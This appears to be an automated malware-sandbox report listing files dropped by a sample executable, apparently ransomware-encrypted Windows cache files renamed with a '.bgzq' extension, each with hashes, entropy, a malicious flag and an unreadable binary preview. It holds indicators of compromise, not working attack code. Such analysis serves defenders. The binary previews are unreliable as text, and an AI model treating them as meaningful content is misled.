SHA-512:	B27EE469E1F73E132DBF622B56221AB95AF02AF5B5F2AE9260788BC078A4E12A6C68EC22859BD0130604DB339B09908A1966DDE926B8A60C3D727790847A5006
Malicious:	false
Preview:	....B./..(/..+)....uT.). a..B...3.W~.....?..Q..!}V.......XyY....'...!...9."j...>..M..@b..R.=..I.N.4.A..k_\5......o..x...GY.K....Z&?'wR.....n`..?u.3....H...u..7..s'.....<tWK.t..7..#}.K....I..p..0.. \....^......t...h.j.J...&t_.x..U .2PWx.G..Qd.Y..i.1..=a..'..c.....U....(\......j......u}.0......)9.6#RfWe..3...=5..Bqx.@X9\|\..6.G...9.mM..(.=.?.....e.=...'q.E.A....L2U.].G..j.w+O..,.Q.....`:.._.....>m.H-%..v5..N....Q:...a`...8 .G...c.7}..&....(;..k........h.o......+.25..........P....K..v.m...S.....1.l.}Q\|."...B.d..J....A.=Ko.V..tG.9.F..fC.e...e:j"t...g..wn..#..z..S...r.=..y6...g..-.h....Y....$.Ys.U..4.Me...u.J.t.b..FE;HhW}.A...g.)E..PC.&..0@....nB3.'%..n..O..Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331948455763299
Encrypted:	false
SSDEEP:	6144:aJMWe3Xw1tCfWYJypIMy0x+5oVwm+vyJfbnQkK96B88yKv4bWTmTvEiLS+:EMt8cf5TMy0IoWm+6dF4/V
MD5:	832A2BBCA17DA1C964912F366F8A4A16
SHA1:	4D2DA524F84B936D9A30A532BA1CAA228D22B9B3
SHA-256:	01B61C61FD6AC5F5830E683C3A880F99923DB4434B061005F0DCA36FDFC85582
SHA-512:	8A6F201A077A804DBF333C618ABCA686D8B341288B5799DA353F24D93CC24CFA1D799C6A85AA85101AE9060ED996E6D70C22B6CFBDB134B188F31E7B273C6F3C
Malicious:	false
Preview:	...P.4_}6B.8P..1..}.6P.].....rU..e....R......f~.'d.....=-..WU8.pq..`.:_.BX0..dQ..8.gS..{...z.${)..@.eK.%.-<.w.....(0..w..Q.S...?..Y....\`.W..s.9<...HK...... h.q..Te.P..i.Pe..Wo.i..>j..F...'M..].k...Y;..8.X.v}e....r..o..Ch....X....y.......,<X...mF.uP@.h....8....P.<r`N".SI.j.h..y.t.....C..A`m3GR.........b.y?.D]..A._..yw...........DB...g.e..<.L....zh..+uLHJ..d.'.~..3?...^!.J...%.-..%Oh..L(WB..#.{.1...R.).X'...Q.$.6,.-.....u..5.P...].w..q.<.>..\|..".q~-R.....\N.J.......A4~......Z.`....=\|.>.L..d>..]).IK.!...K...X....J.._...U.O..0........gk..LJqO../.a8...=.:.d.[...7..6.K.4.\.?..]...1/..Mf>....'.ZJ g.On)..../....v....m...^&X._P...n.Lo..(S.&..O..h..l.B!#.=.{.$gI6o......0.r.._.....(..K.ze...g....... T:.M"C.{.s.=..........S..jlG...."[6..F.#.).M./..b(.%E]j.A.....t.......2....`..H.V..4.ct/*...).\.zH.@^"..H.n.~....v9..6..`.f.da.6g).y..u........)..W..F.V.Lb...u... ..jqA,..n..6s....e..SX.....H.7s..+.r.g{I..0..S...R..gv..#.0......t.?.h&^r...0,.zh..}#.X.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989551962441958
Encrypted:	false
SSDEEP:	192:McN702m+BCfBJ9hvOG86DGdUeB0VgznYrDrXOY81S1R7EPFwFECpbfXdY6UP8hCW:Me1mlqzdigbYvrXO/JIPKVWK+
MD5:	4F9C18FF107B65AA93CC9DE9D4A1C91E
SHA1:	93B87366288CEF44EEA42C63CABD5D1C0963609F
SHA-256:	7500FB844A39E47FE22033237F6CA9D53DBC69A0625F74F0E4E5ABF8BC79ECEE
SHA-512:	EC7C5A70144E218B0E4BB132174275FDFECF438AC6CCF575D04A444C0F0DE9393034A1DCFCC57D640651F6D48D05F38FECBA3A4EE76CAF8574D7AB6B23B3D31D
Malicious:	false
Preview:	.... .7....}.\|=$.e...$P&..j...j.Z.......L..5.^.>.k@..;.k.2..\|..!W'!..Q.F..Q....n...%...`y..H..E.........T...Q...Qq...2..7`8Y.r.$8...._}"2X..z.9"..w.sq....[>..Y..9....%..K...:.`.......1......T;.W-L_...o..\..1..=W._....qtL.... Kk<..._Wh.x.>.:........kz.8C3..Q...b..-.1{-X...._..Y.;@..$5WC....z..4...../~..6...1\|KZ....z`.....`.!..f..v...+.Btb...Rc..S.g.fN...xf....%.~..qW.r..d..cj...%s..S../..c.`........\|..E.0..&.........(......E.U.......[....v.4>.G.X.....n. m..3m+......P...@.,..G).G.sV..........."]f.C..\.nJ./.#....7./nP...(...K....B..!../Z3.-...h...i.\k=.]....7L>...`5..'.....5\e..:0&.=.....?A.dC.Hx.K..1........?_...n.P....h.D.v.I".p.g..j.m.....z...).QjWl.x........k....!......?.g1..mS.........%.@fl...w.q.c`...6..^)Z..h'...l(...8..?...=;..{.$.\w...=....<@.B.u..R.....M]DE.uf.1.3......a...a....[.9............/..NhH..Y..QK...f.ah~...q.b.29P.bV..V}....,.,..u......M.uCk.V.c..q...o..l... ..,R^.$4..V.....=..i.s...cL?...-.J...N....z\|..........eM..4;7..b

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988250349391573
Encrypted:	false
SSDEEP:	192:RdW07riGp7kt1fFusnxekYjpyl5ZcVmy2diatzsd7U/LV9dEdBjwdJTrKNaMaWgR:mQiIqhnoW5Zm/8i8RkSTPDaGbr6DRUp
MD5:	93EE018630DC32135750A182EF3CB805
SHA1:	C9D9FF2C37FE936349EFBAE033FE97A41EBF8AA2
SHA-256:	88F97B03051BE02F4D0F0CF05418C09EC09F78DBF465CD1B820A164CFE6A52C1
SHA-512:	D51167746BFF528D735F9A22A90D42681E5352E4BCCC4C632C4FF73CB2A68C8FC1D7B03C8CF329AD07250CFEEABD50A4620D7E30E5594187AC69C5AF7E3AC6F4
Malicious:	false
Preview:	....`...6.(9jPFE...,}:...<.....o..=...)......T...iu.f\m\.....l.....Q..#.\|1p....1...........15g....D......q..x.!...xI[,T.....5...I0+......$....c0..@.=..=.).svz..9M"..y.XU'>.....#..d._.....7&..U%... ,...k...........l.x.....F.A..).V,"..6..F.I..2...0..8.....p.\|..1..;..E...+{.!...y.,...jO...L..]....>.....z-CWq..... W..}......l.....f.98..ZB.(D.Yn=.K...J!...~....z...N....)....#.4.....<R..a..H..t...$...>.^...P.Vo80k.Ib.......2D.{Nv..Y...Hj....\......L.Pq.<P......e`L.H..."1Yi%....H......C..[kC.)._..l.mk.....t...j].\.4.L..p.#./....Gr.c.#.F.7..yM.1..zq...# b"...b/..X...Ya)...._...(.......2`...z.G..)u...#.1....V.......6.{S..u.'.U%6.....r.....`Yq3.r.@....Av..e...z.....\.6...rt.$7l..z%.;Ba...n.....<U%...9...B?=..{V........}..i[.4.@bD...`.4.f...#..zQ.O.j.. .k.5..v>.../../0fn....&#......n..9C.o....;n..H.p.K..9.i.w%.U x.`...o.`y.....+?./.?.c./......w.C.......L.....`..=Z..]]..$N.&.>.X-.<W....{f...~..s...-<.kM.1.#AO.O..[WyS.h.Dr?....).....%.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.332596280334604
Encrypted:	false
SSDEEP:	6144:cAMKRv/sp2R27eUQ6gt8KoPm+vyJfbnQkK96B88yKv4bWTmTvEiLS5:cAMKRvC+26l6u8tPm+6dF4/u
MD5:	3F514DD5CE9197C30B9889F058BAD1A5
SHA1:	72786D0ECB77ED6172EDF514961A9D89E4F18749
SHA-256:	1920B1B5D358350B6F0808ECED4C54E562871BFAE6C4953271724070590FAE8D
SHA-512:	4A772F78892278338A411CA0A07D42AA88DE5C74C35DB54D72895DC0A540E9A0884082CCB43F843FF60CE8A247A193818754CACCE770F5311E61DAB83463F9A8
Malicious:	false
Preview:	.w.. ....n...A.-.'.d...+.... ..m...Gl]Ze..........P.z?......Z<.s _....k...........o.&.....cp..R\|R..=ey.XKNyndw....._..5.-..j.$-k..u.].(R.6......w...t..nQ.".G.LV.OE.....&E.~4u..'..]F[2.:-&<:.]....N?M..//>..)./....x..W.........W....T..9.).U.k.G..4...0..w..B3..D.vDkx,..P..c.)7.D\Y.ek.-.JI./....J8RmD....E...........3..fV4c.S..y....>.............2.`R:..^..8...0...u<.........R.\|.$%.8H.j..B.h..su_\|T..D.%^........@.Pt....\|..U.(.+a...n...pi._/n.W.5.7.4Po.H.h-e.$.......:ul.KW.Q..&Q.nP.~.9.$60...P.K.!....B.#.]"C..SaF....x&..>>5.X.3....F.\|,(..1Q(D..,..?...43H.&...;V..}0..n.N.}t!'.(..F~....s....L....q.Q..(...W..-.\|F.6..@..m?E./.....'?......#...j.)..2Q..V.....E...5..OV1HD..Z..R......\<=.q........J..OYr..3;.r..@(.uS`..d.c....7w.~}.>....D.....P;.3#Hx_g....._....)Y..OD....o...4.u!.Q>u.{Z.....x.~.........0sZn..z8..3.....0..A#..>.[.8s..S...6..)By.}...U.=...8ygR).G.I..a..9oKb..!^...Z.iq..<.{...^5..&.k...o .u.d.9...b../GA.WO...#...&b........b+..p.&'..:.,..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998104544068891
Encrypted:	true
SSDEEP:	3072:LdbCrTfQW+S9oH55irKCuOk99kGKmObIV/XXS+EdT:L6T4SaQuy/hb6/nS7p
MD5:	C77F84CE96F388568F84D91135EFA125
SHA1:	58789A6C88C69B7D5AB6908EEFD14D562ADB87C6
SHA-256:	673AC1162DA667D29901064ABC11ABB45265035880EF63139FD8E4E91F5984FD
SHA-512:	1C2D9A9796D1BD9D20F531F4638F6C9DF94F5B39E368640DED4BB1BC88B6C95276FA48B3FF665303B0A79B40D37F6DD7181C3D666EAF5573AE05F7491B1D74E4
Malicious:	true
Preview:	....h...Kr....];..c..v.F;&...-.\.........L...]WJ..4...%.q...;.E.Bs.=....y.........U.NP@.)". ?..VS'.`k\|Z....e+..e`...yX..._.....I.".Gw......_. R........~2...&.7..`..e.QwP(...H..]....N........o8..M...jZ.(.\|.o.[...........T<I-ygnY8\|..R..T.&...r.6M.Ds5Kz.So.{..aA..NM....F.O.:.3.7s..o.t......\..<Xj\.&..-C.....I.>.!..h.fm.q$.t$Q...u..j.u.7r8.g19....V..m..L..<.K\|.c.=.2.."..;...VLK.gC..Q_e......"....T.I....U.6.....s1h..i..j.J...C....z...'...X0.,.K3a\...q..=Eb_.~m..?.p....-K(.>..R.~V1...u.Mf.....]....r...?..b."Kk.n.Aez.?.Oh.....\...}@`.=(.L.e..#.fL...S....i!......Z.../[.U..FW.L...C.}.....?N.='Q)..v.?OB.z....nBQ....&....#Ir..!........7.....c.^..;........H1.=l..yLV.eM..--..n.b.?"~.)h{"...+.]-.A...3.U..n.....l...\|..Qs...0...........^.+2b_.z+..?._.H......Y?F....M=.ufX.# .ikly .../]\......}.Z)...n..k...{1..E....f.IF..C.\|..e..4..l...Z.Q...N.....y).d.F..WPLP.............@.;.....7U4.'.9........).L&g,..Wr.P.....5a...9c.3Fc,.Y...^0.......C.n...=.;;..3.VY.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.997955883324817
Encrypted:	true
SSDEEP:	1536:nvxcAbu3PvhyOuLaDX73BtiqNPS4X95us4JSkW7hblYuYMC+NdVbo3UUStFX:nnb+nhILaDX7B0qNPFX95xptXYGvU/m
MD5:	3787A0E67D23D745F1E47180F9F74DB3
SHA1:	9D61278258CC9FFE4C43ABC2F7A1675906C0786A
SHA-256:	8B563C2ABB25F901347D5A6DE01EC38BA14C1063994AA40886ADC37D145CB121
SHA-512:	F9C20B5E74F5ED5EBE31505463576354F34171AD0D5DE87242EF7EE320E3720BAFBAE8ADB22A37BD9565F1EE46E55C97C771310E47232B0AD1E0EF9052791BBD
Malicious:	true
Preview:	....h.C.1K.......?H.dk.i,..^........oi.k._@...WNSi.=...:g.&]..R.#..s..csu..~..G..L....;1;.....K.<!..0`.."\:hy..5.A..a.........../.u0..R..h...H...V{.... .a..5....).e..........]k`....}AA.4d.m..zO...J"..1&=5..&.,4...s......MD.....?.j.C....a.....$K....^Xs.#rM...5n..\|..u..1.z.Q..q......9......d.jU..c.E.....8.Q...3..w..}...'.i..Fit.K.L.~....r.......(L.]'.6..x..,.....3=.......Q.&4..8h.....}........_<>...XP....7E.......).{{>......x..X.X........}.....n....}..I#.W..^......_8...G.;,.Q.......+L.....@..Z.z1.k...q.).....,.]V...6.....-...........Tm...(..y27......g...i.....R'.1W...35P...Y.l...(. ...V.........S,n......#..g.....]..q....]I...!..`..E.D..5.?({....C..K...7.a.&.......VW#g-. .7.y.{.^Ng.>.E....va...:NJ!...v.....~..B.)x....<.im......;:...].....n.3.F6..X..EO.v..%'.J...J..L.{..e.u.u.....t'.xG.Dq.....zp.......o./....Mzt..1...IX.....^.h.....^.o.>...d.8t...!.%.y.............>'...,...."?.y.)...a..N-6..........!Iw...x...Y..1....)..o.9.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.9966685734746585
Encrypted:	true
SSDEEP:	768:TZqGn3AfEufu3z7MqVyA7Pyaq3b/jfZh47hYRp+8aTg0IqYVmZv+wBjQn/:ANEJ4o1Tydn4VYRxUlRYVmd+WQn/
MD5:	20ED876BB16317A62B656652133A76D5
SHA1:	E0CB1C9ADDA27C9AA8AFBDA544A3D21E373F8CE7
SHA-256:	91C635456AD63594C7CEABB99007BC44EA97FB47710461AC0EAF3A27A664C327
SHA-512:	C90FF85A0CBF373BCFEC807F5B5B63F6035B713F806B34FD58D21A1E496316B9EB98E2DDEFBF38C08FA7A3C7B0CC8B6768E189FECD30D467A086C896DBCBEC5D
Malicious:	true
Preview:	......s.r......a.C...]...?.H.d...5.T.gR...Z......U..6.T...@].T`'.kD..s..f..a..`3..nCU..A....Ht.t......Yi...8.8A2....7w....].y2..k.-.S.z8.j}.....x...s.........OU.sqI....C...... }......+u...L.m..._~p.d..Q..\....n.&.....`..!....1.Y=jm.....3.....dw<.m.S..a..BR\|...cU.p....;6.....ZjF...J.....1.M).i...._........+.....z..=..bj.....jw .Fe..4.9J..c.p_..V...P.DG...6..B..A...t..b...H#.R.%s.!...ub..$"2.....o.<j..mP.=..(t}7.5.<....Y.........I.......aj#..m....jj.$.!l.!..).OT...z.n...x.O.ri.?YGa3....7..x..%6q.!.A......{x..v.l4-.>...[F..;.....m.`.-....U...I..F..V&\...h.c..=$<J_.....`.. #[.,D...-..D.!....S5h.Q..`n..'?.-.....,..`\[..$..>q..\|T..M<.\.:x\|.0)._..n....f..f.<.J.......U......$$_.[....."...&,.R...?....{..S..1..p..y..R..........N.R...*.;..g..G..g....3L...O........G....W.x..@!L.7-.e.[....P..(.L..sm.Zt......o.....lq..K...j....O.`.i5........g1....R......r}.Qd..Y.&..4.?...z...U>....v...h.........d.w...z...{.....0F..2FlP!.p0....(....po.Q@..r..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997674237299572
Encrypted:	true
SSDEEP:	1536:UrWjOHyoXjYNyP91ckMmA29kqmj9+W4koYmlRlEfSSE4s:UrWCZF1BPyqmj97/ZmhtPp
MD5:	8CCA6904ED31BD4268579B499BFFB562
SHA1:	846F870008CE4E37163005F849A76303F44997A6
SHA-256:	53B7EE39AFA0D5346F7AD3C382EA4A56C101EDBE4E754FDFCEF1F9BC8F9EC476
SHA-512:	2B067A4837F51025DC35E7AC1DECF836F8AC67BC810FE3C4AB2EDC1810C2FD89A05B6B7CCDAD335A55338118A85B4B41B7D30678D28DF58D6817C587C7B90319
Malicious:	true
Preview:	.....}..d1J..\|...g....2....bd.......{...z....e.z.K".J0....N.AA....}.&....\....".q....G>r.~.....=%~..>.-..KB........@.p.....RKi..`..(%..(@c...f.........$...M..j..6n..Or2..Y.zN....c.yB..t-c.....umz.k.....^6.xg.W.or....tU. &.0.r....\|&J.e....(2....V....A)......Q...W<...9{...\|.w_.c.1.%...I...!..'.C`...`!......y.p...:..n.m.=..`k......;._..k....ZzN..5.cI..cj...~.S..u.H.......P....9...R.`.F....nD=7..".%7.3....D.V`/y..BlUl......e..66S.....4.Mr..q.4.X.......R....<....::YN......u.j.\|..2`.......n8k.c.......@5P.b..I...e,$..v..}..b.R..".WS.7..+....\.?..........(]d..N..-..yH=.Wf.Y....9...p.y.XCh.p.z....b..]..c...]..n.H.o..v..5Dug...Nt.Y.p,..6.....o.Y.:.........".:..(6...p%..:..D..,R.Q...'....33e.H.T.M...@W...m..q..!.....WKl........K/.._....U...3..w.....)4..h........g..6F...X%7.}.{8......?..o,.!/F....!.>D.g...6.L..\......C.......c..g..hp....G.P..q.o<..jw....+.Fw.tJ0v!.U[.R.\_...XC#.EM.....4R...h.IG..+.."..S._&h:/D.tvM.....>E.I.O....4t....C..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.818731898806871
Encrypted:	false
SSDEEP:	6144:P45tV5AjYY/o9rP2M+lR3h3IL1/kuSjH9QYG6WcS:+0zAZc3R3+1/tSjH9QYTS
MD5:	1E9BCD912CCD88C19F1AF678EC878F14
SHA1:	DE12274D415C930DFEE6055E4802361716F1B548
SHA-256:	B7D5C2842C4F08C2B2317D60E2C0C14BBB46AC0AFA8D8362EAABF74911D84EA0
SHA-512:	96CE82DB85F8A86682B18B2D9BF93E9CF03ED359488F5EC0A1EEB809D594091D3473278D83C31C835367EF8415128E1D271D18E45509790C7329221111B4EEB3
Malicious:	false
Preview:	. ...$".....z..3....>..DI$../w...t....Twm.KR.(..7..7_...W<.CLw...l,....h..^..&`O.!.t..[1I~.}]T....#...c+....\|..g.M...$`..ye.p.u^.T8....Yx.......W.3..J..07php........7{...7...6..z ("...'-9d.Hn..2<5..Z..T.r. .E..a.$......i.."s..^..B.>.AW..K....{...H`......5..X..u.GVdk`i._rT\.t....]Wp.Z^.+2.. ...P.g......+.a...c^e.....v(.L.KC........bK....Q...i>_.......3$..q..^.......I..i.g$7.}.(\|.^.....F:.4K.......r.f...^0X..jk..M.3..........Y.........G]..wR_+)N...DD&..42...B;..'.~..q..I.n..`.q...PC..A.`........h......Fo.t.j..0.D._ku.....q.5....Ln.d@...F...A...t.j...\.rJ.....>.'.....jf<..5....B....M..z....L....J......m,.v..=s...D..C@....-.....5...X).p.._.!xan.k..S..fVy...S..].0Y.....^...Y.E...h..5m.../...#...J.G._O...h5.y..N.l.....O.....y..l$.M..._..>...._......l...........N4.T+..I0!...e..4<..<....fs.."....T..C.2.03.k:.....g.`..:fs&..Di^e.ySJp.IRH.FMk....r+.Z..,..P-.a.c.....Y..hw.%.~..e\|Wq.l6;...:....`...Md....6.......Tie.T..flh..B.1.x.....c.;bk\.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99359275554164
Encrypted:	true
SSDEEP:	384:QXZdYz5HJgXCxIfiqJCINy0p9J95u9C3X/B1GWP5FlJa+JzLPd9GfXA9tQy:GIzIXCS553vPBP5bJRJHPdQfQcy
MD5:	D89AB8FED0587C1053FA1CB96E3F6020
SHA1:	EEDEF182A158998A049D0FC3AF3B31DFA827EFF3
SHA-256:	699423F3A126FFE2812C3CB751D8EFE2D283E5C8623EE6E0C69A7E90AEA32917
SHA-512:	9C03621030DE9C7972CE09A1AC50779899EC14F19314EA19A873C55EA673860F22B55E581C25F7B533B6E817FD51218E2C6510AFD75CA45669976440FA00601F
Malicious:	true
Preview:	. ....w.......7.........3V.!..z...K.d.....p>(......^....iT'e7.d......WE...E.......r.......-.?..Eg...!......c..]+..\|%....k..q.Dn..#n.Q.t....22.F.....?..>.3..\;>.%6T..q.........:b.gA.......JG....=.A!.._...W.....2..D._...Kw.H...........vB.N...s'.U....\|.k>.cUI..5v...\.....8...+.....wGT...C....0x..d...i..<..bOd....8u.......&..W ..e..9..U...I.u.....\|..WO......QLf..,.e.:m"...#.31.<.N...n.....]u..lj........N..W..#...oH;.......s.1....,q.%Y.?..SxP..w...._.....<@...y..Y..........k.7=M..L..E\c..ZX./..WZ.'.s]..x.7.e..E.....P.Y)L\|...s....6....o+..(c..Aw..%....5."M......Y.P...p.......^3...Hoa/.!.....0..........o.P\?.^.m...Q}.......@.e/.....].E..?....&.I.!o.+w.PD.}.......>.. <tJO....H.\..{ogE...{.A........,.SDG....f..^..jy...<..g.(nKE[.....E..BZ..{.)=......f....-.../.q.Y......lo....Q...I+.I.p.0.c.SX.Y..*L.'F0)..Bv....T9...F..\....<...h3.Ko\...1.....D.....~.i].....J..w...S..6.E.$.o.G...q...!R..F13.a.Op.^.bk.......r?...u.].Wx.d'.l....._.J}...]7....

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.226532310968263
Encrypted:	false
SSDEEP:	6:M74DtcwJLLU3FCcpQ3KnHguhizi/QEbkXRAXPsw7l3h/+fvbtoQzjhPcii96Z:xc3ppHnAugpEbBkw7lWeijVcii9a
MD5:	01020E57C35E5AD0D9F54CB11A45C2A7
SHA1:	C3BFE4186244BD9A9144BBCE676DD8E349FB5359
SHA-256:	04A2B1AF7443F6D983877A626FA9BED5C3140FFA178922B4018014684411A043
SHA-512:	0AA10567C4516293FEB1E85AA7AE2214CE858EB6A72C7B9534FA70B937540E1E93C0B7A11C0D692B27A633B512ABBB59CEE0185566C50E2F03E726D8FD512DDB
Malicious:	false
Preview:	CMMM ..........%JG..G..lS(S..:..Ur.6\......L...3.R....Q(.......Dp...e^v...@HI.s,..y.D...%....j.-........7yiMM(.\..m...ok.........I.W.h..O[."b^.FdIO23...-...-.C:......M........isZ..3G.o>..y..LO..J...LAF.0....l..}"D..^..0..k.P..Vh.<.#.].........qj2K..a...[...jf.!~....s.#.<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.242903915752014
Encrypted:	false
SSDEEP:	6:MTNJa8nZEOAGKPFeMOpB8O0r2AfZVWXFY7mKbBGJFQTfCMStG0SROJzjhPcii96Z:AzZnAGUYBf0XfZWFxKWFQDjStG0iOxj9
MD5:	F2F17014BF141B02C318E254CD4A8271
SHA1:	5B7CB05EA13DF117F82696F93F36214B5F70D34F
SHA-256:	EB0CCC2DF2E2C322235D9725F9BD80DAC9F08E0B74EAC39B73F5CC5B421AA9B6
SHA-512:	C5DAE733C1397E31A6DAB8F9A6FFC94540399003F5F6FEC5858101A11E127DBED18AD074DF70C4BD6635D51B677B870B4BECCEDB768F321231AD16665C172139
Malicious:	false
Preview:	CMMM u.].(.fh...m`.l..C..z ...C...TD..D.8...0B,c..z...7 <..@..R{F....H.H\T........P..?e..Q.CjGH].O.9'A..`E}v'Of%..3.H....._....XH.X..9.#0P=ygy.F...R.(..Z.2G\|.....1...f...D.......g....D.'C.A...Q<.,x_J..o.>.$#.,....p......m...Q......MC..0.V....].\|..).#..^. ..4J.....S..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.203446661508793
Encrypted:	false
SSDEEP:	6:NdyIr3De//8jGg7ZQ0PhzSzoCqul2EVlxQjCEcnG440JCODQnMzjhPcii96Z:m6S/knZQ2hez2ulBVlxQjCQrOEnejVcq
MD5:	3EEF75B09A058B7B3D696749F2AA0425
SHA1:	AD2A8D8C998627082896173B3AEF019B1CD9D169
SHA-256:	B400C4C5D2FA5A959FD95C2C1EFC791415C504C29C3F8D0CBBC3200877AD20E6
SHA-512:	CFE267591F47BCF69E5EF0C231EB7B711B5140B259EE5C417B0415A68BE4224D21623F978767C77D5D370C0CD9C37060213B91587693DE5BF96623CEACCD5590
Malicious:	false
Preview:	CMMM ...V.......Dq.....sL...W..pTW=..1.o}.I..#. ..r_.......f.F..O.8......U. ~....A......y..5.(d.....^>,.XMD?tQ...=..XV1..M.98#3....9.$#c:..E.;.D.E..R..a.....2.<...(CQ.N.Ng>.#.L{.U.,N3.......Tp..r..T..R....Z.D.].6i..ZJ/...'.'.).......y4;..kF`.l...... .....W...^Y..;b-W...>fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.262765125595275
Encrypted:	false
SSDEEP:	6:lB7HEdfF9bZ8vA/4+UIFwzPrDAC5YySn1GI7n6Y0TdIpRaNmMazjhPcii96Z:wd42+PDJSnMIz67TkR0AjVcii9a
MD5:	729F3433395A7EEC38DDA8AB6BA1D860
SHA1:	2065B7FBB1FA4B3AF3189EC533A86F586C654F3D
SHA-256:	85A3DC92AF920114A3D9679B6F2F6AF2DE6B9EA27AF573CC9F92FCA4DAE71A3F
SHA-512:	CABABED8365AD41910C85F1F76AB69433AEC49E363AD077FB3F914634EC97EF56604C806E5D139ED10993DF0A1F84689137605EAE1698863A02585B91F81606C
Malicious:	false
Preview:	CMMM f.N...c..&............6....:.[o...fC..FG..1.....V&}`.....E..s.f .1...).,...\|..,G8Y;.DNI.R.1..}$.^....:..^.WL.).DN{....V&[...." ;+.,.m8u.X.V...sp<.I.J.4.vZa.^.(n.......<.W;..U>).+0t-......c>K4h.\X.N.gJFb......D....za..<"L.<.R..S.Ar.F.7..~S...... .....j.;.....}...}itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285985418552466
Encrypted:	false
SSDEEP:	6:9DhtAQkcJOgjfZmtym/ce911CyczCIh5bAwlDPpiWW6dp3yvPbJzjhPcii96Z:Bk7g8tym/c0/CyCCi9AuDPpiD6uvTxj9
MD5:	AAA84BB11DA853F96811ED1709F87B63
SHA1:	997DB1D2DB414970CD6899EAE7F192B4C704A3E3
SHA-256:	D30C9330BD254966858D3934251BC9F9E753A1FB2BD822877B89D82B3DCCBD1E
SHA-512:	63847AB236C50B40BEEC21F0977CADB14523F16D2D164751D4EF9181768365E3A2166DFA06985E6CF38EA9E08661A540B4C2099421A1FAD9DEA9DFD80DB0CE76
Malicious:	false
Preview:	CMMM .x....M}. .I.>..d-.9.1).D........ZnH...,./}......;.(.<...........l.W}.]E.*.p48.v.l.'C.P.......U?....=..!..;..$SK....bU.-.u..j.....((...Z.....Y.;..;K.VOq{....(.M..Uo........:.7I.."x.rj.%....g..V........y.z.w.~..3Y..O?.........W.E........9g..w.aM...t./..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgzq (copy)

Download File

